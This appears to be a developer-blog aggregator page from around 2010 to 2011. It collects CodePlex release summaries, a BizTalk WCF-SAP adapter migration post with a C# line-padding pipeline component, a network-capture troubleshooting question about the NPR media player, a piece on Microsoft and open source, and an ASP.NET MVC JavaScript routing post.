Foundation: First compiled release: First compiled release for experimenting only! :) An introductory post will be published shortly on the blog.Helium: Initial Release: This is the initial release of the Helium Engine. Please check out the documentation link for information on how to use the engine. To see a ful...IconizedButton Control Set: IconizedButton Control Set: Taking a line from Google's play book - marking everything as Beta. Seriously, I'd like to hear some feedback before moving the Development Status...JetPumpDesign: JetPumpDesign 1.0: 当前的软件可以设计5级以内的蒸汽喷射泵。Microsoft Silverlight Analytics Framework: Version 1.4.4 Installer: Tools TargetingVisual Studio 2010 Expression Blend 4 (part of Expression Studio 4) Analytics Services Included Vendor Behavior Silverlight 3...NHibernate Sidekick Library: 0.7.0: Added a few methods for use with the NHibernate 2nd level cache (EvictAllObjectsFromCache and EvictPersistentClass). I also added the boolean optio...NHibernate Sidekick Library: 0.7.5: Fix for http://nhprof.com/Learn/Alerts/DoNotUseImplicitTransactionsNito.KitchenSink: Version 9: Dependencies Nito.Linq 0.6 Beta (released 2010-06-14) Rx 1.0.2563.0 (released 2010-06-09) Supported Platforms .NET 4.0 Client Profile, with Rx. ...NQueue: Version 1.0.0.0: Version 1.0.0.0NUnit Add-in for Growl Notifications: NUnit Add-in for Growl Notifications 1.0 build 0: The very first stable releasePartial Rendering control for MVC 2: Partial Rendering control for MVC 2: Here there is the source code and a MVC 2 web site as testPowerShell Script Provider: PSProvider 0.1: Requires PowerShell 2.0 RTM The functions in the attached ps1 script are the bare minimum for a working container-style provider (no subfolders.) ...Quick Performance Monitor: Version 1.4.3: Fixed issue where if an instance name contains backslash characters (\) the program would not load the performance counter properly. Also added sta...SharePointNuke: SharePointNuke 2.00.08: SharePointNuke 2.00.08 - Binary DotNetNuke 5.x module.Skype Voice Changer: 1.0 Updated Sample Code: This updated release is the accompanying code for the Skype Voice Changer article on Coding4Fun. Changes in this release: Added support for PreEmp...std::streambuf wrapper for COM IStream: Beta release (tested in a commercial project): This code has been tested in a custom Windows Search filter and property handler I wrote for a proprietary binary format. There may be some bugs, b...Sunlit World Scheme: Sunlit World Scheme - 20100615 - source and binary: This is the result of building the current source code in Debug mode. The source code is included. The binaries are in the SchemeCode folder along...Timo-Design / 40FINGERS DotNetNuke® Skinning Extensions: Style Helper Skin Object Beta: The 40FINGERS Style Helper Skin object allows you to add CSS and Javascript links and meta tags to the head of your page. It can also remove CSS l...Umbraco CMS: Umbraco 4.1 RC: This is the final test version of Umbraco 4.1 before the final release. PLEASE BE AWARE THAT UMBRACO 4.1 RC IS A .NET 4.0 RELEASE AND WON'T WORK O...VCC: Latest build, v2.1.30615.0: Automatic drop of latest buildWCF 4 Templates for Visual Studio 2010: UserNameForCertificate Template: Produces a WCF service application supporting username and password authentication, relying on message security to protect messages en route. Suppl...WCF 4 Templates for Visual Studio 2010: UserNameOverHttps Template: Produces a WCF service application supporting username and password authentication over HTTPS/SSL, relying on transport security to protect message...xUnit.net Contrib: xunitcontrib 0.4.1 alpha (ReSharper 5.1.1709 only): xunitcontrib release 0.4.1 (ReSharper runner) This release targets the current nightly build of ReSharper 5.1's Early Access Programme (build 1709)...Most Popular ProjectsCommunity Forums NNTP bridgeRIA Services EssentialsNeatUploadBxf (Basic XAML Framework).NET Transactional File ManagerSOLID by exampleSSIS Expression Editor & TesterWEI ShareChirpy - VS Add In For Handling Js, Css, and DotLess FilesASP.NET MVC Time PlannerMost Active ProjectsdotSpatialRhyduino - Arduino and Managed CodeCassandraemonpatterns & practices – Enterprise LibraryCommunity Forums NNTP bridgeLightweight Fluent Workflowpatterns & practices: Enterprise Library ContribNB_Store - Free DotNetNuke Ecommerce Catalog ModuleBlogEngine.NETjQuery Library for SharePoint Web Services

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• Conversion of BizTalk Projects to Use the New WCF-SAP Adaptor

  - by Geordie

  We are in the process of upgrading our BizTalk Environment from BizTalk 2006 R2 to BizTalk 2010. The SAP adaptor in BizTalk 2010 is an all new and more powerful WCF-SAP adaptor. When my colleagues tested out the new adaptor they discovered that the format of the data extracted from SAP was not identical to the old adaptor. This is not a big deal if the structure of the messages from SAP is simple. In this case we were receiving the delivery and invoice iDocs. Both these structures are complex especially the delivery document. Over the past few years I have tweaked the delivery mapping to remove bugs from original mapping. The idea of redoing these maps did not appeal and due to the current work load was not even an option. I opted for a rather crude alternative of pulling in the iDoc in the new typed format and then adding a static map at the start of the orchestration to convert the data to the old schema.  Note WCF-SAP data formats (on the binding tab of the configuration dialog box is the ‘RecieiveIdocFormat’ field): Typed:  Returns a XML document with the hierarchy represented in XML and all fields being represented by XML tags. RFC: Returns an XML document with the hierarchy represented in XML but the iDoc lines in flat file format. String: This returns the iDoc in a format that is closest to the original flat file format but is still wrapped with some top level XML tags. The files also contained some strange characters at the end of each line. I started with the invoice document and it was quite straight forward to add the mapping but this is where my problems started. The orchestrations for these documents are dynamic and so require the identity of the partner to be able to correctly configure the orchestration. The partner identity is in the EDI_DC40 segment of the iDoc. In the old project the RECPRN node of the segment was promoted. The code to set a variable to the partner ID was now failing. After lot of head scratching I discovered the problem was due to the addition of Namespaces to the fields in the EDI_DC40 segment. To overcome this I needed to use an xPath query with a Namespace Manager. This had to be done in custom code. I now tried to repeat the process with the delivery document. Unfortunately when we tried to get sample typed data from SAP an exception was thrown. The adapter "WCF-SAP" raised an error message. Details "Microsoft.ServiceModel.Channels.Common.XmlReaderGenerationException: The segment or group definition E2EDKA1001 was not found in the IDoc metadata. The UniqueId of the IDoc type is: IDOCTYP/3/DESADV01/ZASNEXT1/640. For Receive operations, the SAP adapter does not support unreleased segments.   Our guess is that when the WCF-SAP adaptor tries to down load the data it retrieves a data schema from SAP. For some reason the schema does not match the data. This may be due to the version of SAP we are running or due to a customization. Either way resolving this problem did not look easy. When doing some research on this problem I found an article showing me how to get the data from SAP using the WCF-SAP adaptor without any XML tags. http://blogs.msdn.com/b/adapters/archive/2007/10/05/receiving-idocs-getting-the-raw-idoc-data.aspx Reproduction of Mustansir blog: Since the WCF based SAP Adapter is ... well, WCF based, all data flowing in and out of the adapter is encapsulated within a SOAP message. Which means there are those pesky xml tags all over the place. If you want to receive an Idoc from SAP, you can receive it in "Typed" format (in which case each column in each segment of the idoc appears within its own xml tag), or you can receive it in "String" format (in which case there are just 2 xml tags at the top, the raw xml data in string/flat file format, and the 2 closing xml tags). In "String" format, an incoming idoc (for ORDERS05, containing 5 data records) would look like: <ReceiveIdoc ><idocData>EDI_DC40 8000000000001064985620 E2EDK01005 800000000000106498500000100000001 E2EDK14 8000000000001064985000002000000020111000 E2EDK14 8000000000001064985000003000000020081000 E2EDK14 80000000000010649850000040000000200710 E2EDK14 80000000000010649850000050000000200600</idocData></ReceiveIdoc> (I have trimmed part of the control record so that it fits cleanly here on one line). Now, you're only interested in the IDOC data, and don't care much for the XML tags. It isn't that difficult to write your own pipeline component, or even some logic in the orchestration to remove the tags, right? Well, you don't need to write any extra code at all - the WCF Adapter can help you here! During the configuration of your one-way Receive Location using WCF-Custom, navigate to the Messages tab. Under the section "Inbound BizTalk Messge Body", select the "Path" radio button, and: (a) Enter the body path expression as: /*[local-name()='ReceiveIdoc']/*[local-name()='idocData'] (b) Choose "String" for the Node Encoding. What we've done is, used an XPATH to pull out the value of the "idocData" node from the XML. Your Receive Location will now emit text containing only the idoc data. You can at this point, for example, put the Flat File Pipeline component to convert the flat text into a different xml format based on some other schema you already have, and receive your version of the xml formatted message in your orchestration.   This was potentially a much easier solution than adding the static maps to the orchestrations and overcame the issue with ‘Typed’ delivery documents. Not quite so fast… Note: When I followed Mustansir’s blog the characters at the end of each line disappeared. After configuring the adaptor and passing the iDoc data into the original flat file receive pipelines I was receiving exceptions. There was a failure executing the receive pipeline: "PAPINETPipelines.DeliveryFlatFileReceive, CustomerIntegration2.PAPINET.Pipelines, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4ca3635fbf092bbb" Source: "Pipeline " Receive Port: "recSAP_Delivery" URI: "D:\CustomerIntegration2\SAP\Delivery\*.xml" Reason: An error occurred when parsing the incoming document: "Unexpected data found while looking for: 'Z2EDPZ7' The current definition being parsed is E2EDP07GRP. The stream offset where the error occured is 8859. The line number where the error occured is 23. The column where the error occured is 0.". Although the new flat file looked the same as the old one there was a differences. In the original file all lines in the document were exactly 1064 character long. In the new file all lines were truncated to the last alphanumeric character. The final piece of the puzzle was to add a custom pipeline component to pad all the lines to 1064 characters. This component was added to the decode node of the custom delivery and invoice flat file disassembler pipelines. Execute method of the custom pipeline component: public IBaseMessage Execute(IPipelineContext pc, IBaseMessage inmsg) { //Convert Stream to a string Stream s = null; IBaseMessagePart bodyPart = inmsg.BodyPart;   // NOTE inmsg.BodyPart.Data is implemented only as a setter in the http adapter API and a //getter and setter for the file adapter. Use GetOriginalDataStream to get data instead. if (bodyPart != null) s = bodyPart.GetOriginalDataStream();   string newMsg = string.Empty; string strLine; try { StreamReader sr = new StreamReader(s); strLine = sr.ReadLine(); while (strLine != null) { //Execute padding code if (strLine != null) strLine = strLine.PadRight(1064, ' ') + "\r\n"; newMsg += strLine; strLine = sr.ReadLine(); } sr.Close(); } catch (IOException ex) { throw new Exception("Error occured trying to pad the message to 1064 charactors"); }   //Convert back to stream and set to Data property inmsg.BodyPart.Data = new MemoryStream(Encoding.UTF8.GetBytes(newMsg)); ; //reset the position of the stream to zero inmsg.BodyPart.Data.Position = 0; return inmsg; }

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• Help me solve my problem with NPR Media Player

  - by Calcipher

  First of, let me apologize for this getting a bit technical. Several weeks ago, I found that while using NPR's media player (e.g. click on 'Listen to the Show' - this is what I've been using as a test) the stream would suddenly halt after a minute or three. I could not get the stream to restart without reloading the page. Now, I assumed this was an issue with NPR's player and Linux (or just a bug in their stuff in general) so I began to dig, the following is what I have tried to date (please note, the tldr; option is to skip to the latest thing as I think I know what is causing the problem). Note: All testing has been done, for consistency purposes, on a clean install of Chromium with no pluggins running. My machine is Ubuntu 10.10x64. First thing I always try, I disabled all firewall stuff on the system (UFW, default deny all, allow ssh). No change, firewall back up for all additional tests unless otherwise noted. In any case, UFW is stateful, so connections it started on a non-specified on different ports will continue to work. I deleted my ~/.macromeda and ~/.adobe folders, restarted (just to be sure) and tried. Program still froze. I decided the problem might be with my install of flash, so I purged the version I had (and the home folders again). I installed the x64 version of flash from a PPA. This had no effect. I decided that the problem might be with the version of flash, so I purged the x64 version and installed the standard x32 version that comes with Ubuntu. No luck. Back to the x64 version for consistency, I decided to set up a 64-bit mini 'clone' of my system in VirtualBox. I was able to run the media player with no problem. I rsynced (in archive mode) my home directory from my real machine to the virtual machine (with bridged networking, so it was fully visible on the network). I also used a few tricks to install ALL of the same software (and repositories) from the real machine to the virtual machine. I was still able to listen to the player. I decided that the problem was with my install (after all, it had gone through two major version upgrades). As I have /home/ on a separate partition it was easy to reinstall and use the same trick from #6 to have my system up and running again within about an hour. I continue to have issues with the NPR Media Player. By this point the weekend had come. At work, I use a wired connection while at home I use a wireless connection. For some reason I forgot that I was having problems and used the NPR Media Player over the weekend. Low and behold it worked just fine at home on wireless (note: for various reasons, I could not test this on wired at home). Following from #6, I decided that the problem was either something with the network at work or still something with my account. As the latter was easier to test, I created a new account on my system and used that at work. The Media Player worked. At a loss, I decided to watch the traffic with tshark (the text based brother of wireshark) - X's to protect the innocent, I am the XXX.24.200.XXX: sudo tshark -i eth0 -p -t a -R "ip.addr == XXX.24.200.XXX && ip.addr == XXX.166.98.XXX" As you would expect, there were tons and tons of packets, but each and every time the player froze, this is what I got 08:42:20.679200 XXX.166.98.XXX - XXX.24.200.XXX TCP macromedia-fcs 56371 [PSH, ACK] Seq=817686 Ack=6 Win=65535 Len=1448 TSV=495713325 TSER=396467 08:42:20.718602 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=396475 TSER=495713325 08:42:21.050183 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495713362 TSER=396475 08:42:21.050221 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=396508 TSER=495713362 08:42:21.680548 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495713425 TSER=396508 08:42:21.680605 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=396571 TSER=495713425 08:42:22.910354 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495713548 TSER=396571 08:42:22.910400 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=396694 TSER=495713548 08:42:25.340458 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495713791 TSER=396694 08:42:25.340517 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=396937 TSER=495713791 08:42:30.170698 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495714274 TSER=396937 08:42:30.170746 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=397420 TSER=495714274 08:42:39.801738 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495715237 TSER=397420 08:42:39.801784 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=398383 TSER=495715237 08:42:59.032648 XXX.166.98.XXX - XXX.24.200.XXX TCP [TCP ZeroWindowProbe] macromedia-fcs 56371 [ACK] Seq=819134 Ack=6 Win=65535 Len=1 TSV=495717160 TSER=398383 08:42:59.032696 XXX.24.200.XXX - XXX.166.98.XXX TCP [TCP ZeroWindowProbeAck] [TCP ZeroWindow] 56371 macromedia-fcs [ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=400306 TSER=495717160 08:43:00.267721 XXX.24.200.XXX - XXX.166.98.XXX TCP 56371 macromedia-fcs [FIN, ACK] Seq=6 Ack=819134 Win=0 Len=0 TSV=400430 TSER=495717160 08:43:00.267827 XXX.24.200.XXX - XXX.166.98.XXX TCP 56371 macromedia-fcs [RST, ACK] Seq=7 Ack=819134 Win=65535 Len=0 TSV=400430 TSER=495717160 So, as you can see, my machine is sending out a ZeroWindow packet (which I think means some buffer or another filled up) which causes the Media Player to halt (unfortunately, terminally - no controls on it really do anything anymore). Any ideas, at all, what would cause this? Why only on eth0 under my main account?

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• CodePlex Daily Summary for Saturday, June 25, 2011

  CodePlex Daily Summary for Saturday, June 25, 2011Popular ReleasesMosaic Project: Mosaic Alpha build 252: First public release There are 8 widgets: - Desktop - Gmail - Weather - Control panel - Me - Video - Clock - PicturesUsage Agent: Usage Agent 9.0.8: Latest release. Changes include: - Fixes for Optus - Usage Delta statistic for BigPond - Eliminated the need for UAC prompt at every startupjQuery List DragSort: jQuery List DragSort 0.4.3: Fix item not dropping correctly on Chrome and jQuery 1.6KinectNUI: Jun 25 Alpha Release: Initial public version. No installer needed, just run the EXE.TerrariViewer: TerrariViewer v3.3 [v1.0.5 Compatible]: I have added support for all the new items in Terraria v1.0.5. I have also added the ability to put your character in hardcore mode or take them out via a simple checkbox on the stats tab. If you come across any bugs, please let me know immediately.Terraria World Viewer: Version 1.5: Update June 24th Made compatible with the new tiles found in Terraria 1.0.5Kinect Earth Move: KinectEarthMove sample code: Sample code releasedThis is a sample code for Kinect for Windows SDK beta, which was demonstrated on Channel 9 Kinect for Windows SKD beta launch event on June 17 2011. Using color image and skeleton data from Kinect and user in front of Kinect can manipulate the earth between his/her hands.NetOffice - The easiest way to use Office in .NET: NetOffice Release 0.9b: Changes: - fix critical issue 262334 (AccessViolationException while using events in a COMAddin) - remove x64 Assemblies (not necessary) Includes: - Runtime Binaries and Source Code for .NET Framework:......v2.0, v3.0, v3.5, v4.0 - Tutorials in C# and VB.Net:..............................................................COM Proxy Management, Events, etc. - Examples in C# and VB.Net:............................................................Excel, Word, Outlook, PowerPoint, Access - COMAddi...MiniTwitter: 1.70: MiniTwitter 1.70 ???? ?? ????? xAuth ?? OAuth ??????? 1.70 ??????????????????????????。 ???????????????? Twitter ? Web ??????????、PIN ????????????????????。??????????????????、???????????????????????????。Total Commander SkyDrive File System Plugin (.wfx): Total Commander SkyDrive File System Plugin 0.8.7b: Total Commander SkyDrive File System Plugin version 0.8.7b. Bug fixes: - BROKEN PLUGIN by upgrading SkyDriveServiceClient version 2.0.1b. Please do not forget to express your opinion of the plugin by rating it! Donate (EUR)SkyDrive .Net API Client: SkyDrive .Net API Client 2.0.1b (RELOADED): SkyDrive .Net API Client assembly has been RELOADED in version 2.0.1b as a REAL API. It supports the followings: - Creating root and sub folders - Uploading and downloading files - Renaming and deleting folders and files Bug fixes: - BROKEN API (issue 6834) Please do not forget to express your opinion of the assembly by rating it! Donate (EUR)Mini SQL Query: Mini SQL Query v1.0.0.59794: This release includes the following enhancements: Added a Most Recently Used file list Added Row counts to the query (per tab) and table view windows Added the Command Timeout option, only valid for MSSQL for now - see options If you have no idea what this thing is make sure you check out http://pksoftware.net/MiniSqlQuery/Help/MiniSqlQueryQuickStart.docx for an introduction. PK :-]HydroDesktop - CUAHSI Hydrologic Information System Desktop Application: 1.2.591 Beta Release: 1.2.591 Beta Releasepatterns & practices: Project Silk: Project Silk Community Drop 12 - June 22, 2011: Changes from previous drop: Minor code changes. New "Introduction" chapter. New "Modularity" chapter. Updated "Architecture" chapter. Updated "Server-Side Implementation" chapter. Updated "Client Data Management and Caching" chapter. Guidance Chapters Ready for Review The Word documents for the chapters are included with the source code in addition to the CHM to help you provide feedback. The PDF is provided as a separate download for your convenience. Installation Overview To ins...SQL Server HowTo: Version 1.0: Initial ReleaseDropBox Linker: DropBox Linker 1.3: Added "Get links..." dialog, that provides selective public files links copying Get links link added to tray menu as the default option Fixed URL encoding .NET Framework 4.0 Client Profile requiredDotNetNuke® Community Edition: 06.00.00 Beta: Beta 1 (Build 2300) includes many important enhancements to the user experience. The control panel has been updated for easier access to the most important features and additional forms have been adapted to the new pattern. This release also includes many bug fixes that make it more stable than previous CTP releases. Beta ForumsBlogEngine.NET: BlogEngine.NET 2.5 RC: BlogEngine.NET Hosting - Click Here! 3 Months FREE – BlogEngine.NET Hosting – Click Here! This is a Release Candidate version for BlogEngine.NET 2.5. The most current, stable version of BlogEngine.NET is version 2.0. Find out more about the BlogEngine.NET 2.5 RC here. If you want to extend or modify BlogEngine.NET, you should download the source code. To get started, be sure to check out our installation documentation. If you are upgrading from a previous version, please take a look at ...Microsoft All-In-One Code Framework - a centralized code sample library: All-In-One Code Framework 2011-06-19: Alternatively, you can install Sample Browser or Sample Browser VS extension, and download the code samples from Sample Browser. Improved and Newly Added Examples:For an up-to-date code sample index, please refer to All-In-One Code Framework Sample Catalog. NEW Samples for Windows Azure Sample Description Owner CSAzureStartupTask The sample demonstrates using the startup tasks to install the prerequisites or to modify configuration settings for your environment in Windows Azure Rafe Wu ...IronPython: 2.7.1 Beta 1: This is the first beta release of IronPython 2.7. Like IronPython 54498, this release requires .NET 4 or Silverlight 4. This release will replace any existing IronPython installation. The highlights of this release are: Updated the standard library to match CPython 2.7.2. Add the ast, csv, and unicodedata modules. Fixed several bugs. IronPython Tools for Visual Studio are disabled by default. See http://pytools.codeplex.com for the next generation of Python Visual Studio support. See...New Projects.Net Image Processor: An image processing wrapper around GDI+, allowing you to apply one or more filters against an image source. Out-of-the-box support: * Conversion from one image type to another * Image resizing and various strategies for resolving aspect ratio * Edge detection * GIF support * Chaining filters together to perform complex operations on a single image Filters can be stacked and queued so that they run one after the other in a process queue. The processor can accept filenames, streams o...AsyncGetListSample: Reactive Extensions?????、Twitter??????????????????????????????。Awful for Windows Phone 7: Awful for Windows Phone 7 is a work-in-progress forum reader software for the Something Awful Forums.binzlog2.com: BlogEngine sourceCaffeine Model: A view model framework that specifically targets problems such as change recognition, validation and graph traversal. Provides robust support in these areas and base classes from which to build off of.CxBuild: cxbuildDotNetNuke Scheduler DashboardControl: The DNNSchedulerDashboard control adds a new control to the DotNetNuke Dashboard module that monitors the execution of the tasks in the DNN Scheduler. This control will keep host administrators informed on the tasks that are not executing on time.fkanban: A free Agile tool insist of Product backlog,sprint,Kanban etcKillstone Spycam: A "WebCam Timershot" style application that can take photos from a DirectShow device at a specified interval and save to disk and/or upload via FTP.Live Services for Moodle 1.9: This is a modification to the original Microsoft Live Services for Moodle allowing users to chat through Live Messenger using the web client.MoreEPG: Import of Extern EPG in Windows Media Center (Windows 7)NAntExt: The NAntExt is an extensions library for NAnt. This library includes Tasks and Functions which are much needed in using NAnt, but are not included in NAnt or NAntContrib. The ideal would be to eventually cycle them back into one of these projects. NetSquare - FourSquare C#.NET Open Source Class Library: NetSquare makes it easy to access Foursquare via the new v2 OAuth interface. This will be published as a VS 2010 C# project with associated examples.Power Presenter 2011: Do you want to make a great photo slideshow? Then get Power Presenter the best for showing phothos. Music with a click from the menu of the window. Better for you!!! If you want to join us it is a single rule NO-SEELING & NO-MONEY. It is developed in VB.NET. PowerPackPS: PowerPackPS is a DSV for creating PowerGUI PowerPacks using Powershell instead of the GUI or XML.Resuming Action Results for ASP.NET MVC: Resuming Action Results for MVC provides a similar implementation as the standard FileResult ActionResult objects but with the intelligence to detect range requests and respond appropriately with no need to write a single extra line of code.SoundSwitch: SoundSwitch makes it easier to switch playback devices (sound cards). Normally, to switch a Playback device you need to right click the sound icon in the bottom right corner of your screen (system tray), choose "Playback devices" and then change the default playback device. Every time you want to switch. With SoundSwitch you just configure once between which Playback devices you want to toggle and then you can press Ctrl+Alt+F11 to toggle automatically!StopWatch Plus: This is a simple stopwatch with which you can set a countdown, save and control the various steps imposed by the pause button. The projects will is still under development and not yet possess all the qualities mentioned above, currently is a simple countdown. _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ Questo è un semplice cronometro col quale si potrà impostare un conto alla rovescia, salvare e tenere sotto controllo i vari step ...TFS Reports: The TFS Reports project is about sharing knowledge around the reporting capabilities in TFS and contains both guidance as well as ready to use reports. TRK ATR: Website for TV/Radio channel UpdateTool: A tool used to update client This project is for personal use. Please do not download in now.Windows Service Helper: Helps by creating a Play/Stop/Pause UI when running with a debugger attached, but also allows the windows service to be installed and run by the Windows Services environment as well. All this with one line of code!XNB filetype plugin for Paint.NET: This plugin allows viewing and editing of XNA compiled textures from inside Paint.NET.

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• Microsoft and the open source community

  - by Charles Young

  For the last decade, I have repeatedly, in my imitable Microsoft fan boy style, offered an alternative view to commonly held beliefs about Microsoft's stance on open source licensing.  In earlier times, leading figures in Microsoft were very vocal in resisting the idea that commercial licensing is outmoded or morally reprehensible.  Many people interpreted this as all-out corporate opposition to open source licensing.  I never read it that way. It is true that I've met individual employees of Microsoft who are antagonistic towards FOSS (free and open source software), but I've met more who are supportive or at least neutral on the subject.  In any case, individual attitudes of employees don't necessarily reflect a corporate stance.  The strongest opposition I've encountered has actually come from outside the company.  It's not a charitable thought, but I sometimes wonder if there are people in the .NET community who are opposed to FOSS simply because they believe, erroneously, that Microsoft is opposed. Here, for what it is worth, are the points I've repeated endlessly over the years and which have often been received with quizzical scepticism. a)  A decade ago, Microsoft's big problem was not FOSS per se, or even with copyleft.  The thing which really kept them awake at night was the fear that one day, someone might find, deep in the heart of the Windows code base, some code that should not be there and which was published under GPL.  The likelihood of this ever happening has long since faded away, but there was a time when MS was running scared.  I suspect this is why they held out for a while from making Windows source code open to inspection.  Nowadays, as an MVP, I am positively encouraged to ask to see Windows source. b)  Microsoft has never opposed the open source community.  They have had problems with specific people and organisations in the FOSS community.  Back in the 1990s, Richard Stallman gave time and energy to a successful campaign to launch antitrust proceedings against Microsoft.  In more recent times, the negative attitude of certain people to Microsoft's submission of two FOSS licences to the OSI (both of which have long since been accepted), and the mad scramble to try to find any argument, however tenuous, to block their submission was not, let us say, edifying. c) Microsoft has never, to my knowledge, written off the FOSS model.  They certainly don't agree that more traditional forms of licensing are inappropriate or immoral, and they've always been prepared to say so.  One reason why it was so hard to convince people that Microsoft is not rabidly antagonistic towards FOSS licensing is that so many people think they have no involvement in open source.  A decade ago, there was virtually no evidence of any such involvement.  However, that was a long time ago.  Quietly over the years, Microsoft has got on with the job of working out how to make use of FOSS licensing and how to support the FOSS community.  For example, as well as making increasingly extensive use of Github, they run an important FOSS forge (CodePlex) on which they, themselves, host many hundreds of distinct projects.  The total count may even be in the thousands now.  I suspect there is a limit of about 500 records on CodePlex searches because, for the past few years, whenever I search for Microsoft-specific projects on CodePlex, I always get approx. 500 hits.  Admittedly, a large volume of the stuff they publish under FOSS licences amounts to code samples, but many of those 'samples' have grown into useful and fully featured frameworks, libraries and tools. All this is leading up to the observation that yesterday's announcement by Scott Guthrie marks a significant milestone and should not go unnoticed.  If you missed it, let me summarise.   From the first release of .NET, Microsoft has offered a web development framework called ASP.NET.  The core libraries are included in the .NET framework which is released free of charge, but which is not open source.   However, in recent years, the number of libraries that constitute ASP.NET have grown considerably.  Today, most professional ASP.NET web development exploits the ASP.NET MVC framework.  This, together with several other important parts of the ASP.NET technology stack, is released on CodePlex under the Apache 2.0 licence.   Hence, today, a huge swathe of web development on the .NET/Azure platform relies four-square on the use of FOSS frameworks and libraries. Yesterday, Scott Guthrie announced the next stage of ASP.NET's journey towards FOSS nirvana.  This involves extending ASP.NET's FOSS stack to include Web API and the MVC Razor view engine which is rapidly becoming the de facto 'standard' for building web pages in ASP.NET.  However, perhaps the more important announcement is that the ASP.NET team will now accept and review contributions from the community.  Scott points out that this model is already in place elsewhere in Microsoft, and specifically draws attention to development of the Windows Azure SDKs.  These SDKs are central to Azure development.   The .NET and Java SDKs are published under Apache 2.0 on Github and Microsoft is open to community contributions.  Accepting contributions is a more profound move than simply releasing code under FOSS licensing.  It means that Microsoft is wholeheartedly moving towards a full-blooded open source approach for future evolution of some of their central and most widely used .NET and Azure frameworks and libraries.  In conjunction with Scott's announcement, Microsoft has also released Git support for CodePlex (at long last!) and, perhaps more importantly, announced significant new investment in their own FOSS forge. Here at Solidsoft we have several reasons to be very interested in Scott's announcement. I'll draw attention to one of them.  Earlier this year we wrote the initial version of a new UK Government web application called CloudStore.  CloudStore provides a way for local and central government to discover and purchase applications and services. We wrote the web site using ASP.NET MVC which is FOSS.  However, this point has been lost on the ladies and gentlemen of the press and, I suspect, on some of the decision makers on the government side.  They announced a few weeks ago that future versions of CloudStore will move to a FOSS framework, clearly oblivious of the fact that it is already built on a FOSS framework.  We are, it is fair to say, mildly irked by the uninformed and badly out-of-date assumption that “if it is Microsoft, it can't be FOSS”.  Old prejudices live on.

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• ASP.NET MVC JavaScript Routing

  - by zowens

  Have you ever done this sort of thing in your ASP.NET MVC view? The weird thing about this isn’t the alert function, it’s the code block containing the Url formation using the ASP.NET MVC UrlHelper. The terrible thing about this experience is the obvious lack of IntelliSense and this ugly inline JavaScript code. Inline JavaScript isn’t portable to other pages beyond the current page of execution. It is generally considered bad practice to use inline JavaScript in your public-facing pages. How ludicrous would it be to copy and paste the entire jQuery code base into your pages…? Not something you’d ever consider doing. The problem is that your URLs have to be generated by ASP.NET at runtime and really can’t be copied to your JavaScript code without some trickery. How about this? Does the hard-coded URL bother you? It really bothers me. The typical solution to this whole routing in JavaScript issue is to just hard-code your URLs into your JavaScript files and call it done. But what if your URLs change? You have to now go an track down the places in JavaScript and manually replace them. What if you get the pattern wrong? Do you have tests around it? This isn’t something you should have to worry about.   The Solution To Our Problems The solution is to port routing over to JavaScript. Does that sound daunting to you? It’s actually not very hard, but I decided to create my own generator that will do all the work for you. What I have created is a very basic port of the route formation feature of ASP.NET routing. It will generate the formatted URLs based on your routing patterns. Here’s how you’d do this: Does that feel familiar? It looks a lot like something you’d do inside of your ASP.NET MVC views… but this is inside of a JavaScript file… just a plain ol’ .js file.  Your first question might be why do you have to have that “.toUrl()” thing. The reason is that I wanted to make POST and GET requests dead simple. Here’s how you’d do a POST request (and the same would work with a GET request):   The first parameter is extra data passed to the post request and the second parameter is a function that handles the success of the POST request. If you’re familiar with jQuery’s Ajax goodness, you’ll know how to use it. (if not, check out http://api.jquery.com/jQuery.Post/ and the parameters are essentially the same). But we still haven’t gotten rid of the magic strings. We still have controller names and action names represented as strings. This is going to blow your mind… If you’ve seen T4MVC, this will look familiar. We’re essentially doing the same sort of thing with my JavaScript router, but we’re porting the concept to JavaScript. The good news is that parameters to the controllers are directly reflected in the action function, just like T4MVC. And the even better news… IntlliSense is easily transferred to the JavaScript version if you’re using Visual Studio as your JavaScript editor. The additional data parameter gives you the ability to pass extra routing data to the URL formatter.   About the Magic You may be wondering how this all work. It’s actually quite simple. 